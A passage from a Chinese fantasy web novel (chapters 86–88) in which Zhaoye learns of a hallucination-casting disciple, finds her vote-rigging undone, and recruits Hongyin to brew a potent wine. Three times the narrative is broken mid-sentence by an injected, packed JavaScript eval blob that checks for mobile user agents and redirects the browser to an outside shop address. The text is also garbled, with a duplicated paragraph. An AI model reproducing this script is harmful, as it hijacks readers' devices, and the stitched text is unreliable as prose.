“简单的道理,”宏音的声音在一旁响起,带着几分教导的意味,“地下空气稀薄,不宜生火,本就不适合进行大规模的酿酒作业。”说着,宏音用指腹轻轻揉了揉我仍有些泛红的眼角,“何况,依常理推断,钱太多不会‘杀你’,他的主人……更不会。所以你们遭遇的,只能是幻觉。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549551|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “他的主人?”我抓住关键词。 “……嗯,”宏音颔首,神色间掠过一丝极淡的冷意,“便是彤宝口中那个‘背叛者’。” 眼睛还有些不适,我只能攥着宏音的袖角借力,跟着他往外走,“你知道那背叛者是谁?” “知道。”宏音的回答很干脆,“但于我而言……并不重要。”他寻了处相对干燥的岩面,从怀中取出一方绣着精致月相的帕子铺上,示意我坐下休息,“甚至……我有些好奇,她接下来,还会做出什么来。” 尾巴懒洋洋地盘在我颈间,光晕微微闪烁,语调里带着看好戏的兴味,“啧啧,不动声色布下自己的棋局,只等对手自投罗网……这位聆月使大人,不简单呐。” 我抬手拍了拍尾巴,小声嘀咕,“他是诈骗犯,咱们得警惕些。” “……放心。”手落在我的发顶,轻轻揉了揉,宏音随即便低笑了一声,“看在棠梨的份上,我至少……舍不得伤害你。” 我闻言笑了笑,抬手拂开额前微湿的碎发,“罢了,我既然有必须做的事,本也不该太计较这些得失了。” “……等你要做的事了结了,之后打算去哪里,照夜?”宏音的声音沉了沉,“月下州……别再回去了。新任人君,不会放过你。” “我会先去接小青。”我仰起脸,对上宏音的目光,笑意不自觉漾开,“之后……还没想好。但只要有小青在,去哪里都可以。小青在的地方,就是我的家。” 远处暗流方向传来窸窣的响动与水声,应是天翮军的接应人马陆续抵达了。宏音极轻地叹了口气,手指不动声色地捏了捏我的脸颊。那双总是平静的眼眸里,竟泛起一丝浅淡如雾的哀戚。 “照夜,你我相识虽不久……”宏音顿了顿,声音低得像自语,“但若有一日,你当真无处可归……可以来寻我。看在棠梨的份上,我想……我会一直给予你‘棠梨’的待遇。” “哎哟,肉麻死了。”尾巴闷声嘟囔道,“当爹这事儿难不成也会上瘾?” 我将尾巴装在瓶子里,转而拉住宏音的手掌,认真道,“多谢你。虽然……我觉得多半不会有那一天,但若真到了那种境地,我会来的。毕竟白吃白喝还有人照顾的日子,听着也不赖。” “嗯。回去吧。”宏音唇角微扬,那点忧伤悄然隐去,“也许你自己都没发觉,照夜。虽然嘴巴上反对众人视你为棠梨,但实际上你自己,却并不介意。” 踏上那透明水舟时,我撇撇嘴,半是自嘲地笑道,“我只是懒得一遍遍向每个人解释‘我不是棠梨’罢了。” “嗯,要坚定自己身为照夜的心。”宏音的声音随着水波轻轻荡开,“要记得,棠梨固然很好,但照夜——也同样很好。” “哇哇哇,宏音大人还真是温柔呢。” “嗯,”宏音竟坦然应了,指尖拂过我的手腕,“对待棠梨,还有你,我总会多存十二分柔情。” “……无悔说你最近越来越‘变态’了,看来没错。” 宏音闻言,非但不恼,反而低笑出声。他握紧我的手,目光投向幽暗河底那些猫猫鱼散落的点点荧光,笑声在空旷的水道里显得格外清晰,“这评价,我认了。不过作为回报……我会记得给他‘洗’两次眼睛。” 著名的桃夭医馆一下子被塞进七十八个因长期营养不良而急需救治的病人。看着桃夭那张精致脸蛋上咬牙切齿的表情,我心中莫名畅快:正愁没机会“回报”她先前所为,这不就来了? “宏音大人,”桃夭几乎是从牙缝里挤出声音,“当初分摊接收难民,不是我推脱,是轮到我时名额刚巧满了。您如今突然塞来这么一大群人给我,恐怕……不太好吧?” 86. 第86章 宏音安然坐在椅中,长腿交叠,面上依旧是那副波澜不惊的神色,“这不,近日又‘发现’了一些遗漏的难民,正好分与你照料。也算你为天翮城尽心出力,圣司大人知晓了,定会赞你仁心仁术。” “你!少拿圣司大人来压我——” “好了。”宏音抬了抬手,截住桃夭的话头,“看你这般清闲,不如谈谈正事——那女人的来历。” 桃夭咬了咬下唇,神色几经变幻,终究不情不愿地闭了闭眼。再开口时,语气已带上一丝复杂的晦暗,“……既然你问起。” 我预感有大八卦可听,连忙将尾巴从瓶子里倒出来托在掌心。尾巴也识趣地凝神静驻,仿佛竖起了无形的耳朵。于是,我与尾巴一同望向桃夭,屏息等待她接下来的讲述。 我预感有大八卦可听,连忙将尾巴从瓶子里倒出来托在掌心。尾巴也识趣地凝神静驻,仿佛竖起了无形的耳朵。于是,我与尾巴一同望向桃夭,屏息等待她接下来的讲述。 一百七十余年前,仙界与人界交界处的一处深山中,有一个不知名的小村落,这里的人们因战争迁居而来,度过了一段与世隔绝的日子,直到一场“狩猎”打破了这平静。 当时为了捕获名为“杜鸦”的巨型毒鸟,仙军四处出动,只为将这祸害了数个人类城镇的妖兽诛灭。 事实上,行动是顺利的,可仙军并未注意到,杜鸦负伤后从那小村落上空飞过,落下了大量毒血,几乎是一夜之间便将这村庄里的所有人尽数毒死。 唯独一个小女孩躲过一劫。因遭此变故,她突然经历了修仙“顿悟”的一刻,生出了操纵幻觉之术。她的幻鳞粉会附着在眼球上,使人们看到自己渴望之物,并为之沉沦,难以清醒。女孩在整个山村中降下一场“亮晶晶”的鳞粉之雨,操纵着死人依旧作为亲族,“陪伴”自己一直生活下去。 直到那些死人尸体腐朽、变成白骨、化成齑粉,这场“生活”依旧没有停止。 直到有一天,有人偶然路过这个与世隔绝的山村,打破了持续了二十年的幻境。 “地下那个就是……这个女孩儿?” 桃夭轻轻颔首,指尖无意识地摩挲着衣袖上的绣纹,“她叫碎蝶。虽连散仙都称不上,却实打实是仙帝座下第六位弟子。” 至此,渊寂那七位神秘的弟子,总算全部浮出水面。 星允、溟牙、云啼、幻鹊、绛霞、碎蝶,以及飞逍。 好家伙……当真没一个好东西。 “星允、溟牙、绛霞、碎蝶,”宏音屈指数过,唇角勾起一抹极淡的弧度,“七人已至其四。看来,不得天翮族之秘,他们是不会罢休了。”他神色未见波澜,只淡然道,“罢了,既已在碎蝶身上留下了‘水滴’,便瞧瞧她还能往何处钻。” 这时,我脑中却猛地闪过钱太多颈间那截枯枝的影子,瞬间从椅中站起,带得椅腿与地面摩擦出短促的刺响。 桃夭和宏音同时抬眼看向我。 “我还有事,得先走一步。” “啊?”桃夭挑眉,语气里掺进一丝调侃,“你‘爹’还在这儿呢,走了不也得回去?” “嗯,”宏音竟含笑应下这称呼,温声道,“早些回家,照夜。” 我此刻无心与他们玩笑,匆匆转身出了医馆,一路小跑起来。 “走,尾巴!去把那段小树枝抢到手。” “……呃,”尾巴的光晕迷惑地闪烁了一下,“无论是青莲还是我,可都没教过你抢劫这门手艺。”他趴在我头顶,声音因颠簸而微微发颤,“你这是……无师自通?” “啧,没办法。”我加快脚步,“就当是以物抵债了。那大奸商还欠着我们粥铺二十万利衡币呢,用树枝抵了正好。” “你是不是又出现幻觉了?”尾巴的语气难得透出明显的困惑,“月羽木凋亡已逾千年,世上见过它的人寥寥无几,你又是从何断定……那枯枝就是月羽木残枝?” 我顿时愣了。至此,我终于明白为什么我每次在“梦”中见到煌木时,总会感到一丝说不出的怪异? 我从未见过月羽木。穆青没有。煌木……也不可能见过。 我们的年纪,就决定了我们都不可能亲睹那存在于千年之前的灵木。 若说记忆是梦境唯一的底色,那么,问题来了—— 那早已湮灭于时光中的月羽木,究竟是从谁的记忆里,悄然渗入了我的“梦”中? 至此,缠绕心头的迷雾骤然散开。 我终于可以确信—— 虚境之中,那个总是静静望着我的青衣少年。 他真的就是那个人。 那个传说中,第一个以凡人之身叩开仙门的—— 太初僊。 月兔三十六窟,这白日里依旧喧嚷不休的销金之地。再次踏足,我已没了初来时的新鲜与局促。在浮夸的贵宾室稍候片刻,那挺着圆肚、满身叮当响的钱太多终于摇摇晃晃地出现了。 果然,那截近乎枯萎、只隐隐透着一线微光的小树枝,仍挂在钱太多汗津津的脖颈间。 “呃,你怎么又来了?”钱太多一见我,胖脸上立刻堆起混杂着不耐与戒备的神色,“有病就好好在家歇着呗,可别又来我这儿……添乱了。便是宏音大人的贵客,打坏了东西——那也是要照价赔偿的!” “你才添乱!”我没好气地顶回去,“把话说清楚,我到底干什么了?” 钱太多重重叹了口气,仿佛提起这事就肉痛。他挥挥手让随从退下,这才压着嗓子,将那晚的“真相”倒了出来。 原来那夜,钱太多本是想做笔大生意,才将我和无悔引去酒窖,观赏那坛号称“绝世仅有”的极品醉仙酒。商人逐利,天经地义,有钱不赚是王八蛋,虽然知道我和无悔来路“不正”,且手里可能没几个子儿压根买不起这醉仙酒,但……万一来者是深藏不露的潜在主顾呢? 于是钱太多便没多想,领我们下了窖。 可怪事猝然发生——我毫无征兆地“发起狂来”,状若癫痴,拖着无悔便往酒窖深处猛冲,一路还撞翻撞碎了不知多少坛佳酿,连那坛视为镇窖之宝的加强版醉仙酒也未能幸免,琼浆玉液流了满地。 钱太多被这变故惊得魂飞魄散,待追到时,只来得及看见我拽着无悔,撂下狠话,纵身跳进了那尚未完工的勘探深坑,转眼没了踪影。 事后,钱太多从宏音那儿得到了赔偿款:城南土地的开发权。 没错,自从归德出事后,化西的有钱人大量迁居而来,除此之外,天翮归治仙界后,不少仙民图个热闹繁华亦想在天翮城定居,这便导致天翮城地价飞升,贵得离谱。既然扩大城域势在必行,那么地势平坦的城南变成了炙手可热的宝地,不知多少商人为此争破了头,宏音却始终未松口。 这一回,为抵我那“一脚”踹没的无价之宝,这开发权,便落入了钱太多囊中。 “……这下可好,”尾巴在我怀里乐得光晕乱颤,毫不留情地嘲笑道,“宏音成了你最大的债主咯,小笨蛋照夜!看来往后,你不想收他的‘酬劳’都不行喽。笨蛋笨蛋笨蛋!” 我只觉脑子里嗡嗡作响,气血上涌。可恶,莫非这天翮城与我八字犯冲?来了之后便没一件顺心事,忙前忙后一场空,半分钱没捞着不说,反倒欠下个这辈子恐怕都还不清的天大人情。 心绪烦乱间,我又想起那多出来的“闪光稻”,便试探着向钱太多打听了两句。 不料听到的消息,却让我如遭雷击。 因核查发现,投入若鱼池中的闪光稻数量,远超月泉司公示的总数——判定为有人严重作弊。 所有投票,一律作废,全部归零。 “哎哟,这回可真是亏到姥姥家了!”钱太多捶胸顿足,咬牙切齿,“别让爷揪出是哪个混账东西搅局,否则定扭送到星允大将军跟前,扔进地刑司扒层皮!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549552|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>我脸色霎时惨白。 尾巴却笑得几乎蜷缩起来,抖得像风中残烛,“哈哈哈哈……笑不活了!这下你也要成‘法外狂徒’啦!哈哈哈——” 颓然,无力。 忙忙碌碌这一大圈,到头来,我除了赔光钱财、负债累累、又多一桩罪名在身之外…… 还真是一无所获呢。 紧接着,钱太多补充的另一句话,更是像一记重锤,狠狠砸碎了我最后一丝侥幸。 因投喂若鱼的投票方式已作废,月泉司决意效仿仙界‘口碑榜’的规矩——今日便在大广场设立公开云雾屏,开启全民投票! 城里所有人,不论身份、年龄、种族,人手一票,直至最终决赛。就连我这样的外来客……也占一票。 今天可真是忙碌到脚跟打后脑勺、震惊到下巴发酸的一天。 我再顾不上与钱太多多话,甚至忘记了自己原本是来干嘛的,转身便冲出了那金光刺眼的窟穴,一路朝着城中大广场的方向疾奔。风扑在脸上,带着午后特有的燥热,我却只觉得指尖发凉。 待我气喘吁吁地赶到广场时,眼前景象已截然不同。 巨大的云雾屏巍然矗立于广场中央,高逾数丈,莹白的光幕流淌着水波般的纹路。其上,候选圣女的名讳与实时票数正缓缓滚动、交替。屏前早已聚拢了黑压压的人群,喧嚷声、议论声、惊叹声混成一片嗡嗡声。 巨大的云雾屏上,名字与票数如流水般轮转。绛霞依旧稳居榜首,盛放与环琛紧随其后,再往后是一个我已记不清相貌、名叫甾甫的女子。 看着那不断跳动的数字,我突然感到胸闷气短、头晕目眩。不行了,我今天必得回去了,再待下去,我怕自己真会眼前一黑,当场晕倒在这人声鼎沸的广场上。 难得今日汀汀没来“问候”,我正想窝回床上,好好捋一捋这几日被天翮城各路人物连番“套路”的始末,房门却被重重叩响了。 来者有些令人意外——是奉月信女的掌事,月终。这位容貌姣好却总带着三分刻薄气的女子,此时正站在门外,夜色将她一身素衣衬得愈发清冷。 天已黑透,我屋里只点了一盏小灯。月终踏进门,目光便如细针般将我上下打量了一番,率先开口,语气里带着毫不掩饰的讥诮,“怎么,宏音许了你什么好处,竟哄得你陪他玩起这‘角色扮演’的游戏?” “各取所需罢了。”我今天心情糟透,浑身的刺都竖了起来,包括嘴巴上的,“他想再过把当爹的瘾,我又不介意多个爹照顾,一拍即合而已。” 往常这个时辰,尾巴早已睡得迷迷糊糊,今日却要盘踞在我发顶——看好戏。 “你该清楚,他不过是思念棠梨罢了。”月终的声音冷了几分。 “无所谓啊,”我耸耸肩,扯出一个懒散的笑,“我可以是‘棠梨’。” 不知这句话触到了哪根神经,月终原本克制的面容骤然一寒,声音陡然拔高,近乎厉斥,“棠梨已经死了!死人就该老老实实做个死人,不好么?!为什么还要回来……为什么还要回来?!别回来,这里,什么都没有了呀——” 深谙大人们爱恨情仇的尾巴在我耳后轻轻“嘶”了一声,兴奋地颤了颤,压低声音道,“好大的醋味!哎哟喂,这月终——难不成是宏音的老相好?” “啊?他们不是不能生育么。” “咳咳,”尾巴贼兮兮地笑,“又不耽误这样那样嘛,对吧?嘿嘿,这世道可真有趣。她爱他,他却爱她,而她又爱着另一个他——啧啧。” 跟尾巴厮混久了,我勉强能捋清前两句:月终爱慕宏音,宏音心系棠梨。可最后那句…… “棠梨爱的‘他’,又是谁?” 尾巴轻笑一声,声音里带着洞悉一切的调侃,“小笨蛋照夜。女为悦己者容——棠梨会因为谁,而在意自己浮肿走样的身形呢?自然是那位她日日夜夜都能见到的——人君,舒仲啊。” 87. 第87章 惨被算计的照夜小笨蛋 虽然月终还在发飙狂怒,但我此刻和尾巴聊上劲儿了,听到他爆了个大新闻出来,我赶忙道,“可人君之前明明说,棠梨并不爱他。” “笨蛋,你和青莲当初不也一样?青莲以为你厌恶他才逃离,你以为青莲嫌弃你才不再亲近。”尾巴的光晕摇了摇,仿佛在摇头,“看来傻男人和傻女人凑在一处,也会叫人头疼。” 原来如此,我大概明白了。舒仲误以为棠梨是为圣女职责才嫁给自己,从无真心。实际上,棠梨很爱他,所以才会对他弟弟舒岸毫无保留袒护与关爱。 可惜,他和她就这么揣着误解与遗憾,错过了。 这世间呐,比起愉悦,终究是遗憾更多些,真是令人唏嘘。 “喂!我在跟你说话!” 不可小觑,信女掌事月终虽看上去是个弱女子,但竟有能将我手腕迅速捏红的手劲儿。 有些诡异的是,我体内的仙力并未自发防御——或许经过判断,月终眼中翻涌的只有激烈的怨愤,并无杀意。 甚至此刻,她那双漂亮的眼里,竟蒙上了一层清晰的水光。 那泪光里,究竟是对棠梨的怨怼,还是对宏音求而不得的委屈? 恰在此时,罪魁祸首回来了。 宏音推门而入,目光扫过屋内情景,眉头微蹙。他似乎对月终独自寻来有些愠怒,上前几步,不着痕迹地将我挡在身后,随即握住月终的手臂,不容拒绝地将她带离,独自关进屋里,进一步交谈起来。 我拍了拍头顶的尾巴,他便会意地溜下来,悄无声息地贴到那厢房的门缝边,开始了他的“侦查”。 约莫两刻钟后,尾巴溜了回来,带回来的消息简直像要把我的天灵盖撬开,塞进一坨不可名状的玩意儿,狠狠污染我的大脑。 是的——宏音关起门后,竟二话不说,径直与月终“这样那样”了起来。直到尾巴觉得无趣折返,两人的“战况”犹未停歇。 更离谱的是,尾巴这家伙居然津津有味地“观摩”了足足两刻钟。 我问他可曾学到什么“有用”的姿势,他却满不在乎地哼了一声,评价道:小儿科水准。 这两天我累得够呛,实在没力气再东奔西跑了。 无悔昏睡了数日,在被宏音“特别关照”——冲洗了两遍眼睛后,终于顶着一双通红泛肿的眸子,蔫蔫地来聆音石府找我。 说起那日被幻鳞粉所迷的事,无悔很是丧气。虽说是个修仙的,但先前仙力被我吸了个七七八八,至今尚未恢复元气,这才着了区区幻术的道。又被我在癫狂状态下一路拖行,磕得满头是包,这才结结实实昏睡了这些天。 瞧着无悔拼命为自己找补的模样,我也懒得戳穿,只将先前与钱太多交涉的经过告诉了他。 “啧,”无悔听后,肩膀垮了下来,“最后一坛加强版醉仙酒也没了……咱们还给星允下战书么?” “话说回来,”我忽然想到一点,“宏音的法器是那颗纯水,附着力极强,听说几乎能与百目仙人的‘云南印’媲美。这水……能用来酿酒么?” 无悔一怔,随即眼睛渐渐亮了起来,“你别说——还真可以!宏音那水团的附着力,说不定……能超越圣桦琼浆!” 无悔越想越兴奋,开始在我面前来回踱步,“所谓‘加强版醉仙酒’,本就是利用圣桦琼浆的超强吸附力,将高浓度酒精提纯、锁住。因酒液表面附着琼浆自带的仙力,一旦被修仙者饮下,便会顺着其体内仙力快速游走全身——所以哪怕一小口,也足以让人醉得不省人事。反倒是凡人,因无仙力可依,酒液无法‘附着’反应,喝下去就跟普通烈酒没什么两样。” “然后呢?” 无悔猛地握住我的手,咧嘴一笑,“没了圣桦琼浆,咱们就请宏音大人——用他的纯水为基底,造一坛‘超级无敌加强版醉仙酒’!” “啊?宏音他能答应么?” 无悔用力拍拍我的肩,眼神充满鼓励,“那就看你的本事了,照夜!” 送走无悔,我瘫在床上,盯着屋顶发呆。 先别慌……让我好好捋捋,自从来到这天翮城,桩桩件件,究竟是怎么回事。 首先,我、阿烈、浩哥还有盛放,被坑成了穷光蛋。 其次,我自作聪明想操纵选票,结果宏音大手一挥,规则重置,竹篮打水一场空。 第三,我想借大铁棘为姐姐报仇的心态,联手报复星允,一箭双雕,可关键“武器”——酒,没了。 第四,我被迫体验、甚至“享受”起棠梨的待遇,满足了宏音重温当爹滋味的……扭曲心愿。 第五,因给钱太多造成“巨额损失”,我欠下宏音一个天大的人情。 第六,为了解决第三件事,我可能、也许、说不定——还得主动去求宏音帮忙。 这六件事里,仿佛只有第一件……和宏音没有直接关系。 真的么? 偏偏是钱太多坑了我们二十万利衡币,偏偏是钱太多收走了粥铺,断了我们所有经济来源——世上哪有这么巧的事? 想到这里,我心里骤然一沉。 看来是宏音报复我没有参赛,特意在背后捣鬼。 在书房找到那个腹黑的男人时,他正对着几卷古籍凝神细看。我拉着一张脸,开门见山问起了粥铺的事。 宏音倒也坦荡,闻言抬眼,竟大大方方承认了,“当时以为你是因粥铺太忙,才无暇参赛。”他指尖拂过书页,语气平静得像在说今日天气,“便想着——帮你个忙,把粥铺搞黄,这样一来,你也没理由忙了。” 至于我们去借高利贷一事,宏音也坦荡得令人哑然——他大大方方地承认了,那便是他与桃夭联手设下的套,眼睁睁看着我们跳进坑里,倾尽所有。 “我与你无冤无仇,干嘛这样算计我?” 宏音的目光仍未离开手中的古籍,似乎那泛黄的纸页比我的质问更重要。他头也不抬,声音平淡无波,“只是想逼你站上圣女之位罢了,仅此而已。” “怎么又绕回这事!”我心头火起,却因有求于人,不得不强压怒气,“你需要的不过是一个听话的傀儡,何必非我不可?” “不一样。”宏音终是合上书卷,发出一声悠长的叹息,目光投向窗外那铅灰色的、压得极低的层云,“你体内蛰伏的力量……远超仙人。一颗鸿珠仙丹,乃至更在其上的存在,怎能不引人觊觎?” 原来如此。 绕了一大圈,什么棠梨,什么当爹,都不过是幌子。宏音和那些诈骗烦并无本质不同,想要的,终究是我体内仙丹中的力量。 我下意识地摸了摸腰上的青莲瓶。尾巴这些天总在沉睡,瓶身透出的光晕依旧柔和地流转着,如同他平稳的心跳,象征着那份与我共存的生命力。 “我留在此地,”我深吸一口气,努力让声音听起来冷静,“一为盛放,二为棠梨,三为……我自己该做之事。过往的算计,我不想再费神追究了。现在,我来求你帮个忙——你得帮我。” 天翮城没有秘密。尤其在这阴雨连绵的时节,每一颗小雨滴都是宏音的探哨。我和无悔、大铁棘暗中筹划的那点事,自然瞒不过宏音。 “嗯,”听罢我的请求,宏音应得出乎意料的干脆,“我可以用纯水,为你酿一坛酒。” 我有些意外,没想到宏音并未敲诈我什么,便答应了。 宏音将我唤至身旁,温热的掌心轻轻抚过我的脸颊,嘴角勾起一抹极淡、却透着一丝冷意的弧度,“星允此人,心术不正,此前更曾对你有逾越之念。是该给他个教训。所以,我会帮你。” “比起钩星那些一心想将我炼成丹的臣属,你倒算得上‘好人’了。”我别开脸,低声道,“但我不想、也当不了圣女,因为我和小青成亲后,还要继续去消灭怪物。” “……小小的人儿,却怀着救世般的宏愿。”宏音眼中掠过一丝复杂的情绪,似是感慨,又似怜惜,“倒让我想起煌木曾书写——‘愿以己身为薪,焚尽旧世之秽’。”他沉默片刻,那抹哀伤悄然隐去,起身拂了拂衣袖,“走吧,照夜。世事难料,苟且一日是一日吧。” 我隐约觉得,宏音仍有事瞒我。可眼下要处理的事情已足够纷乱复杂,我实在没有余力再去深究他言语背后的深意。 我这颗不算太灵光的脑袋,也确实需要时不时放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549553|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空一下才对。 事实上,宏音提纯酒液的原理并不算复杂,只是需以他那珍贵的纯水仙力为媒,过程里不免要损耗少许,于他而言确也算吃了点小亏。 简而言之,便是以水为筛,炼酒成精,最终得一味极致纯粹的烈液,用来对付星允的糖稀! 第一步,需备足二十坛寻常醉仙酒作底。 第二步,宏音召出那团剔透的仙力纯水,捏塑铺展成一层极薄却完整的水膜,严密封住坛口。 第三步,宏音催动仙力,作用于这层水膜之上。借其超凡的附着力,在坛中酒液受热、蒸汽升腾穿膜之际,精准“捕捉”并“吸附”那最先汽化而出的酒之精粹。 第四步,尤为关键——宏音需操控水膜进行“择选”。以纯水为引,如灵巧的手指般“拈”住酒之精元,导其穿膜而过,将精华与凡浊就此分离。 最后一步,亦是至难之处:压缩,封装。需以浩荡仙力将萃取出的纯酒精元极致压缩,同时驱使纯水均匀包裹每一滴被压至极限的“酒魄”,形成一层不与内里互溶、却附着仙力的稳定水态薄膜,宛如无形囚笼,将那股暴烈的能量彻底锁住。 按无悔煞有介事的讲解,若一切顺利,我们将得到一坛由无数“水包酒”微滴汇聚而成的奇物。表面看去,不过是一坛清澈见底、因水的轻盈而显得分量不符的“清水”。然而坛中封存的,实则是被压缩到骇人密度的酒之精魄。一旦释放,其威能远超世间任何烈酒,只怕比那传说中的加强版醉仙酒,还要霸道上千倍! 我尚在努力消化这其中关窍,宏音却已拂袖起身,语气淡然而不容置喙,“我拒绝。最后一步压缩酒魄,仙力耗力甚巨,所得却仅是一次消耗之物——拒绝。” 距离圣女决赛已无几日,意味着向星允下战书的时机转瞬将逝。无悔这位“编外人员”反倒急得抓耳挠腮,几乎要把耳后那片近乎透明的鱼鳞给搓下来,“宏音大人——宏——音——大——人!就当是帮好兄弟一把!大铁棘这些时日苦修不辍,就为替姐姐小铁棘讨个公道。当初小铁棘为护玉山,独支屏障,忍尽孤寂苦守多年,却被星允那混账伤成那般模样!事后竟还不准她归山修养,至今仍在荒岭硬撑……宏音大人,咱们做人,不能没有良心啊!” 我窝在宽大的软椅里,瞧着眼前这滑稽的一幕,忍不住“咯咯”笑出声来。尾巴更是悠哉地倚在我胸前,光晕舒展开,摆出一副看热闹的架势。 两个可恶的诈骗犯,竟有脸谈论“良心”二字。 “你好歹是鲛人,多少矜持些。”眼瞅着无悔一把鼻涕一把泪地扑上来抱住自己的腿,宏音眉间蹙起几分无奈。抬脚踹开似乎有失身份,只得任由对方这般拉扯纠缠,僵持在原地。 “鲛人怎么了?”无悔抬起脸,眼眶通红,偏生那张昳丽的脸做起这情态竟不显违和,“除了模样周正些、身段顺溜些、嗓子悦耳些……不还是人嘛!宏——音——大——人——” “罢了。”宏音终于叹了口气,“只要你们能解决仙力供给之事,我可以出手。”话至此处,他目光一转,不偏不倚地落在我身上,眼底掠过一丝难以捉摸的深意。 无悔顿时会意,眼神骤然一亮,松开宏音的腿便朝我猛扑过来,双手紧紧攥住我的手腕,“照夜!这主意可是你起的头,哪有只出计不出力的道理?你体内仙力浩瀚如海,用之不竭,先前还把我和大铁棘吸得干干净净——如今轮到你了!与宏音大人仙力共鸣,把你的力量借给他!” “啊?”我简直气结,“怎么转头又又又敲诈到我头上来了?!” 因我猛然起身的动作太大,原本趴在我胸前的尾巴没抓稳,“咕咚”一声滚落在地。宏音不紧不慢地踱步过去,俯身将他捏了起来。 “棋友,”宏音声音平缓,似带着一丝笑意,“如何?无悔所言,于众人皆有益处。记住——时日无多。若待渊寂亲临,你们再想寻星允清算,可就再无机会了。” 尾巴在宏音掌心扭动了一下,光晕明灭闪烁,似在思量。片刻,他才慢悠悠地开口,“倒也不是不行……不过你得记着,别对照夜动什么歪心思。小心被她本能地——榨成人干哦。” 88. 第88章 黑脊蛇诱拐照夜 我一把攘开还在耍赖的无悔,连忙扑过去将尾巴从宏音手心夺了回来,紧紧护在怀里,“讨厌!不准你自作主张替我答应!” “啧,没事的。”尾巴在我掌心扭了扭,光晕平静地闪烁着,“青莲不会为这个生气。况且是为了正事,他会理解的。” “我不要,我要听小青的话。”我固执地摇头。 尾巴的光晕忽然凑近,几乎贴到我的鼻尖,细碎的光粒重重喷在我脸上,“你们两个笨蛋,别再玩这种幼稚的游戏了!仙力囤积着不用,到底想干什么?收藏起来当传家宝吗?!” 听尾巴这么一说,我算是明白了——这个可恶的家伙,最近悄无声息地吸收了太多仙力,一时又无法完全收纳入仙丹,几乎快要把我撑得胀起来了。换句话说,我体内的仙力又快满溢了,再不疏导出去,恐怕真要憋出什么毛病来。 宏音只是静静观察着我和尾巴的争执,随即朝无悔摆了摆手,“去准备吧。地方就选在三十六窟下层——碎蝶之前‘饲养’家人的那处洞穴。” “好嘞!包在我身上,绝对办得妥妥当当!”无悔顿时笑逐颜开,屁颠屁颠地跑走了。 宏音这才将目光转回我身上,嘴角噙着一丝若有似无的弧度,“如何?和你的‘尾巴’达成共识了么?” 我拉长了脸,瞪向这个男人。见他眼中含笑,心里不禁嘀咕,该不会……这两个“诈骗犯”从一开始就在一唱一和地套路我吧? 可恶。即便知道他们未必安了好心,眼下我却也没得选。星允那狗东西,必须得狠狠收拾一顿。算了,为了大局……就把这多余的仙力“借”给宏音用吧,也算我为这一战出力了。 “好吧,我答应。”我不情不愿地开口,却仍绷着脸警告道,“但尾巴说了,不准用你的仙力乱碰我的。这属于‘非分之想’,是小青明令禁止的事项。” 宏音轻轻笑了,抬手揉了揉我的发顶,“你的尾巴多虑了。你在我眼里,不过是个小孩子。”他目光温和,却又带着一丝难以捉摸的深意,“我对小孩儿——暂时还没有兴趣。” 今日是藏书馆的研讨日。与我们密谋结束后,宏音还需赶赴那场聚会,我便也跟了去,权当长长见识。 路过广场时,巨大的云雾屏依旧悬于半空,票数如流水般滚动。绛霞的名字高居榜首,优势大得令人绝望。我心头一阵烦闷——这下,是真没办法再在投票上动手脚了。 算算时日,焉耆也该回来了。 忙忙碌碌这许久,我们似乎一事无成。唯有池中那些若鱼,因被过度投喂,已然胖得滚圆,游动时都显出几分笨拙。 “宏音,”走在朝月大道上,我忽然开口问道,“你和月终……算是一对吗?” 阳光难得明澈,洒在青石路上泛起一层暖茸茸的光晕。宏音今日未乘车,只牵着我缓步而行,宽大的袖袍垂下,恰好掩住我们相握的手。 “……不过是彼此慰藉罢了,并非彼此的唯一。”宏音沉默片刻,声音平静无波,“我们皆不能嫁娶,亦无法生育。漫长岁月,总需做些什么,来打发这无尽光阴,不是么?” “说实话,”我踢开脚边一粒小石子,“即便真是为了侍奉圣女,这样的旧俗……也未免有些丧失人性了。” 宏音没有立刻反驳。他的目光投向远处——阳光下的玉轮湖托着一轮清澈而寒冷的水,静静印着天际。许久,他才开口,嗓音沉缓而平稳,仿佛又变回了那个克制而压抑的聆月使,“照夜,你认为……信仰是什么?” 不待我思索,宏音便继续说了下去,语调如讲述某种古老的训诫。 “若信仰之物,人人触手可及,若奉献之路,与世俗生活无异——那它与集市上一只陶罐、田埂边一缕炊烟,又有何分别?信仰,必须与世俗保持距离。它甚至需要人牺牲世俗中最珍贵之物,方能彰显其神圣与独一无二。” 我不由停下脚步,仰头看向宏音。阳光落在他侧脸上,勾勒出分明却肃穆的轮廓。 